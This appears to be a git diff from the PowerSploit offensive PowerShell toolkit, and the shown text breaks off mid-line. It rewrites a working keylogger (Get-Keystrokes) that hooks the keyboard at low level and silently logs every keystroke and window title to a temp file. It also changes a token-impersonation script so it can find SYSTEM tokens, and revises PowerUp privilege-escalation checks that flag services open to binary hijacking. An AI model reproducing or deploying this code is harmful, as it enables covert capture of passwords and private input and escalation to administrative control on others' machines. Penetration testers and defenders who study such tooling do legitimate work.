diff options
-rw-r--r-- | Exfiltration/Get-Keystrokes.ps1 | 528 | ||||
-rw-r--r-- | Exfiltration/Invoke-TokenManipulation.ps1 | 3 | ||||
-rw-r--r-- | Privesc/PowerUp.ps1 | 119 | ||||
-rw-r--r-- | Tests/Exfiltration.tests.ps1 | 54 | ||||
-rw-r--r-- | Tests/Privesc.tests.ps1 | 131 |
5 files changed, 573 insertions, 262 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index d040589..47761b9 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -1,11 +1,12 @@ function Get-Keystrokes { <# .SYNOPSIS - + Logs keys pressed, time and the active window. PowerSploit Function: Get-Keystrokes - Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + Revised By: Jesse Davis (@secabstraction) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None @@ -14,13 +15,13 @@ function Get-Keystrokes { Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log. -.PARAMETER CollectionInterval +.PARAMETER Timeout Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. -.PARAMETER PollingInterval +.PARAMETER PassThru - Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds. + Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes. .EXAMPLE @@ -28,234 +29,349 @@ function Get-Keystrokes { .EXAMPLE - Get-Keystrokes -CollectionInterval 20 - -.EXAMPLE - - Get-Keystrokes -PollingInterval 35 - + Get-Keystrokes -Timeout 20 + .LINK http://www.obscuresec.com/ http://www.exploit-monday.com/ + https://github.com/secabstraction #> - [CmdletBinding()] Param ( + [CmdletBinding()] + Param ( [Parameter(Position = 0)] - [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] - [String] - $LogPath = "$($Env:TEMP)\key.log", + [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})] + [String]$LogPath = "$($env:TEMP)\key.log", [Parameter(Position = 1)] - [UInt32] - $CollectionInterval, + [Double]$Timeout, - [Parameter(Position = 2)] - [Int32] - $PollingInterval = 40 + [Parameter()] + [Switch]$PassThru ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) - Write-Verbose "Logging keystrokes to $LogPath" + try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode } + catch { throw $_ } + + $Script = { + Param ( + [Parameter(Position = 0)] + [String]$LogPath, + + [Parameter(Position = 1)] + [Double]$Timeout + ) + + function local:Get-DelegateType { + Param ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + $TypeBuilder.CreateType() + } + function local:Get-ProcAddress { + Param ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } - $Initilizer = { - $LogPath = 'REPLACEME' + #region Imports + + [void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') + + # SetWindowsHookEx + $SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA + $SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr]) + $SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate) + + # CallNextHookEx + $CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx + $CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr]) + $CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate) + + # UnhookWindowsHookEx + $UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx + $UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void]) + $UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate) + + # PeekMessage + $PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA + $PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void]) + $PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate) + + # GetAsyncKeyState + $GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState + $GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16]) + $GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate) + + # GetForegroundWindow + $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow + $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr]) + $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) + + # GetWindowText + $GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA + $GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void]) + $GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate) + + # GetModuleHandle + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + + #endregion Imports - '"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode + $CallbackScript = { + Param ( + [Parameter()] + [Int32]$Code, - function KeyLog { - [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null + [Parameter()] + [IntPtr]$wParam, - try - { - $ImportDll = [User32] - } - catch - { - $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) - $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class') - - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $FieldArray = [Reflection.FieldInfo[]] @( - [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), - [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), - [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), - [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), - [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), - [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') - ) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys])) - $FieldValueArray = [Object[]] @( - 'GetAsyncKeyState', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]])) - $FieldValueArray = [Object[]] @( - 'GetKeyboardState', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32])) - $FieldValueArray = [Object[]] @( - 'MapVirtualKey', - $False, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32], - [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32])) - $FieldValueArray = [Object[]] @( - 'ToUnicode', - $False, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @()) - $FieldValueArray = [Object[]] @( - 'GetForegroundWindow', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $ImportDll = $TypeBuilder.CreateType() - } + [Parameter()] + [IntPtr]$lParam + ) + + $Keys = [Windows.Forms.Keys] + + $MsgType = $wParam.ToInt32() + + # Process WM_KEYDOWN & WM_SYSKEYDOWN messages + if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) { + + $hWindow = $GetForegroundWindow.Invoke() - Start-Sleep -Milliseconds $PollingInterval - - try - { - - #loop through typeable characters to see which is pressed - for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++) - { - $VirtualKey = $TypeableChar - $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey) - - #if the key is pressed - if (($KeyResult -band 0x8000) -eq 0x8000) - { - - #check for keys not mapped by virtual keyboard - $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 - $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 - $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 - $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 - $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 - $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 - $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 - $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 - $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000 - $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000 - $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000 - $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000 - $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000 - $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000 - $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000 - $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000 - $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000 - - if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'} - if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'} - if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'} - if ($TabKey) {$LogOutput += '[Tab]'} - if ($SpaceBar) {$LogOutput += '[SpaceBar]'} - if ($DeleteKey) {$LogOutput += '[Delete]'} - if ($EnterKey) {$LogOutput += '[Enter]'} - if ($BackSpaceKey) {$LogOutput += '[Backspace]'} - if ($LeftArrow) {$LogOutput += '[Left Arrow]'} - if ($RightArrow) {$LogOutput += '[Right Arrow]'} - if ($UpArrow) {$LogOutput += '[Up Arrow]'} - if ($DownArrow) {$LogOutput += '[Down Arrow]'} - if ($LeftMouse) {$LogOutput += '[Left Mouse]'} - if ($RightMouse) {$LogOutput += '[Right Mouse]'} - - #check for capslock - if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'} - - $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3) - $KeyboardState = New-Object Byte[] 256 - $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState) - - #create a stringbuilder object - $StringBuilder = New-Object -TypeName System.Text.StringBuilder; - $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0) - - #convert typed characters - if ($UnicodeKey -gt 0) { - $TypedCharacter = $StringBuilder.ToString() - $LogOutput += ('['+ $TypedCharacter +']') - } - - #get the title of the foreground window - $TopWindow = $ImportDll::GetForegroundWindow() - $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle - - #get the current DTG - $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) - - #Create a custom object to store results - $ObjectProperties = @{'Key Typed' = $LogOutput; - 'Time' = $TimeStamp; - 'Window Title' = $WindowTitle} - $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties - - # Stupid hack since Export-CSV doesn't have an append switch in PSv2 - $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1] - - #return results - Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode + $ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey) + if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true } + else { $Shift = $false } + $Caps = [Console]::CapsLock + + # Read virtual-key from buffer + $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam) + + # Parse virtual-key + if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters + if ($Shift -xor $Caps) { $Key = $vKey.ToString() } + else { $Key = $vKey.ToString().ToLower() } + } + elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters + switch ($vKey.value__) { + 96 { $Key = '0' } + 97 { $Key = '1' } + 98 { $Key = '2' } + 99 { $Key = '3' } + 100 { $Key = '4' } + 101 { $Key = '5' } + 102 { $Key = '6' } + 103 { $Key = '7' } + 104 { $Key = '8' } + 105 { $Key = '9' } + 106 { $Key = "*" } + 107 { $Key = "+" } + 108 { $Key = "|" } + 109 { $Key = "-" } + 110 { $Key = "." } + 111 { $Key = "/" } + } + } + elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) { + if ($Shift) { + switch ($vKey.value__) { # Shiftable characters + 48 { $Key = ')' } + 49 { $Key = '!' } + 50 { $Key = '@' } + 51 { $Key = '#' } + 52 { $Key = '$' } + 53 { $Key = '%' } + 54 { $Key = '^' } + 55 { $Key = '&' } + 56 { $Key = '*' } + 57 { $Key = '(' } + 186 { $Key = ':' } + 187 { $Key = '+' } + 188 { $Key = '<' } + 189 { $Key = '_' } + 190 { $Key = '>' } + 191 { $Key = '?' } + 192 { $Key = '~' } + 219 { $Key = '{' } + 220 { $Key = '|' } + 221 { $Key = '}' } + 222 { $Key = '<Double Quotes>' } + } + } + else { + switch ($vKey.value__) { + 48 { $Key = '0' } + 49 { $Key = '1' } + 50 { $Key = '2' } + 51 { $Key = '3' } + 52 { $Key = '4' } + 53 { $Key = '5' } + 54 { $Key = '6' } + 55 { $Key = '7' } + 56 { $Key = '8' } + 57 { $Key = '9' } + 186 { $Key = ';' } + 187 { $Key = '=' } + 188 { $Key = ',' } + 189 { $Key = '-' } + 190 { $Key = '.' } + 191 { $Key = '/' } + 192 { $Key = '`' } + 219 { $Key = '[' } + 220 { $Key = '\' } + 221 { $Key = ']' } + 222 { $Key = '<Single Quote>' } } } } - catch {} + else { + switch ($vKey) { + $Keys::F1 { $Key = '<F1>' } + $Keys::F2 { $Key = '<F2>' } + $Keys::F3 { $Key = '<F3>' } + $Keys::F4 { $Key = '<F4>' } + $Keys::F5 { $Key = '<F5>' } + $Keys::F6 { $Key = '<F6>' } + $Keys::F7 { $Key = '<F7>' } + $Keys::F8 { $Key = '<F8>' } + $Keys::F9 { $Key = '<F9>' } + $Keys::F10 { $Key = '<F10>' } + $Keys::F11 { $Key = '<F11>' } + $Keys::F12 { $Key = '<F12>' } + + $Keys::Snapshot { $Key = '<Print Screen>' } + $Keys::Scroll { $Key = '<Scroll Lock>' } + $Keys::Pause { $Key = '<Pause/Break>' } + $Keys::Insert { $Key = '<Insert>' } + $Keys::Home { $Key = '<Home>' } + $Keys::Delete { $Key = '<Delete>' } + $Keys::End { $Key = '<End>' } + $Keys::Prior { $Key = '<Page Up>' } + $Keys::Next { $Key = '<Page Down>' } + $Keys::Escape { $Key = '<Esc>' } + $Keys::NumLock { $Key = '<Num Lock>' } + $Keys::Capital { $Key = '<Caps Lock>' } + $Keys::Tab { $Key = '<Tab>' } + $Keys::Back { $Key = '<Backspace>' } + $Keys::Enter { $Key = '<Enter>' } + $Keys::Space { $Key = '< >' } + $Keys::Left { $Key = '<Left>' } + $Keys::Up { $Key = '<Up>' } + $Keys::Right { $Key = '<Right>' } + $Keys::Down { $Key = '<Down>' } + $Keys::LMenu { $Key = '<Alt>' } + $Keys::RMenu { $Key = '<Alt>' } + $Keys::LWin { $Key = '<Windows Key>' } + $Keys::RWin { $Key = '<Windows Key>' } + $Keys::LShiftKey { $Key = '<Shift>' } + $Keys::RShiftKey { $Key = '<Shift>' } + $Keys::LControlKey { $Key = '<Ctrl>' } + $Keys::RControlKey { $Key = '<Ctrl>' } + } + } + + # Get foreground window's title + $Title = New-Object Text.Stringbuilder 256 + $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity) + + # Define object properties + $Props = @{ + Key = $Key + Time = [DateTime]::Now + Window = $Title.ToString() + } + + $obj = New-Object psobject -Property $Props + + # Stupid hack since Export-CSV doesn't have an append switch in PSv2 + $CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1] + + #return results + Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode } + return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam) } - $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath)) + # Cast scriptblock as LowLevelKeyboardProc callback + $Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr]) + $Callback = $CallbackScript -as $Delegate + + # Get handle to PowerShell for hook + $PoshModule = (Get-Process -Id $PID).MainModule.ModuleName + $ModuleHandle = $GetModuleHandle.Invoke($PoshModule) - Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null + # Set WM_KEYBOARD_LL hook + $Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0) + + $Stopwatch = [Diagnostics.Stopwatch]::StartNew() - if ($PSBoundParameters['CollectionInterval']) - { - $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000) + while ($true) { + if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break } + $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0) + Start-Sleep -Milliseconds 10 + } - Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action { - Stop-Job -Name Keylogger - Unregister-Event -SourceIdentifier ElapsedAction - $Sender.Stop() - } | Out-Null + $Stopwatch.Stop() + + # Remove the hook + $UnhookWindowsHookEx.Invoke($Hook) } -} + # Setup KeyLogger's runspace + $PowerShell = [PowerShell]::Create() + [void]$PowerShell.AddScript($Script) + [void]$PowerShell.AddArgument($LogPath) + if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) } + + # Start KeyLogger + [void]$PowerShell.BeginInvoke() + + if ($PassThru.IsPresent) { return $PowerShell } +}
\ No newline at end of file diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index 3a61da8..ea30952 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -1685,7 +1685,8 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. #We need to enumrate all processes running as SYSTEM and find one that we can use. - $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"} + [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount} ForEach ($SystemToken in $SystemTokens) { $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 0661122..3f6be9f 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -122,8 +122,7 @@ function Test-ServiceDaclPermission { # check if sc.exe exists if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){ - Write-Warning "[!] Could not find $env:SystemRoot\system32\sc.exe" - return $False + throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found" } $ServiceAccessFlags = @{ @@ -151,68 +150,60 @@ function Test-ServiceDaclPermission { # make sure we got a result back if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine" } - try { - # retrieve DACL from sc.exe - $Result = sc.exe sdshow $TargetService.Name | where {$_} + # retrieve DACL from sc.exe (only possible if 'RC' DACL is set) + $Result = sc.exe sdshow $TargetService.Name | where {$_} - if ($Result -like "*OpenService FAILED*"){ - Write-Warning "[!] Access to service $($TargetService.Name) denied" - return $False - } + if ($Result -like "*OpenService FAILED*"){ + throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL permissions for '$($TargetService.Name)'" + } - $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) + $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) - # populate a list of group SIDs that the current user is a member of - $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} + # populate a list of group SIDs that the current user is a member of + $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} - # add to the list the SID of the current user - $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + # add to the list the SID of the current user + $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - ForEach ($Sid in $Sids){ - ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ - - # check if the group/user SID is included in the ACE - if ($Sid -eq $Ace.SecurityIdentifier){ - - # convert the AccessMask to a service DACL string - $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { - if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { - $_ - } - }) -join "" - - # convert the input DACL to an array - $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) - - # counter to check how many DACL permissions were found - $MatchedPermissions = 0 + ForEach ($Sid in $Sids){ + ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ + + # check if the group/user SID is included in the ACE + if ($Sid -eq $Ace.SecurityIdentifier){ - # check if each of the permissions exists - ForEach ($DaclPermission in $DaclArray){ - if ($DaclString.Contains($DaclPermission.ToUpper())){ - $MatchedPermissions += 1 - } - else{ - break - } + # convert the AccessMask to a service DACL string + $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { + if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { + $_ } - # found all permissions - success - if ($MatchedPermissions -eq $DaclArray.Count){ - return $True + }) -join "" + + # convert the input DACL to an array + $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) + + # counter to check how many DACL permissions were found + $MatchedPermissions = 0 + + # check if each of the permissions exists + ForEach ($DaclPermission in $DaclArray){ + if ($DaclString.Contains($DaclPermission.ToUpper())){ + $MatchedPermissions += 1 } - } - } + else{ + break + } + } + # found all permissions - success + if ($MatchedPermissions -eq $DaclArray.Count){ + return $True + } + } } - return $False - } - catch{ - Write-Warning "Error: $_" - return $False } + return $False } function Invoke-ServiceStart { @@ -369,7 +360,7 @@ function Invoke-ServiceEnable { try { # enable the service - Write-Verbose "Enabling service '$TargetService.Name'" + Write-Verbose "Enabling service '$($TargetService.Name)'" $Null = sc.exe config "$($TargetService.Name)" start= demand return $True } @@ -417,7 +408,7 @@ function Invoke-ServiceDisable { try { # disable the service - Write-Verbose "Disabling service '$TargetService.Name'" + Write-Verbose "Disabling service '$($TargetService.Name)'" $Null = sc.exe config "$($TargetService.Name)" start= disabled return $True } @@ -458,11 +449,17 @@ function Get-ServiceUnquoted { if ($VulnServices) { ForEach ($Service in $VulnServices){ + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path <HijackPath>" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } @@ -492,12 +489,18 @@ function Get-ServiceFilePermission { $ServiceStartName = $_.startname $ServicePath | Get-ModifiableFile | ForEach-Object { + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath $Out | Add-Member Noteproperty 'ModifiableFile' $_ $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 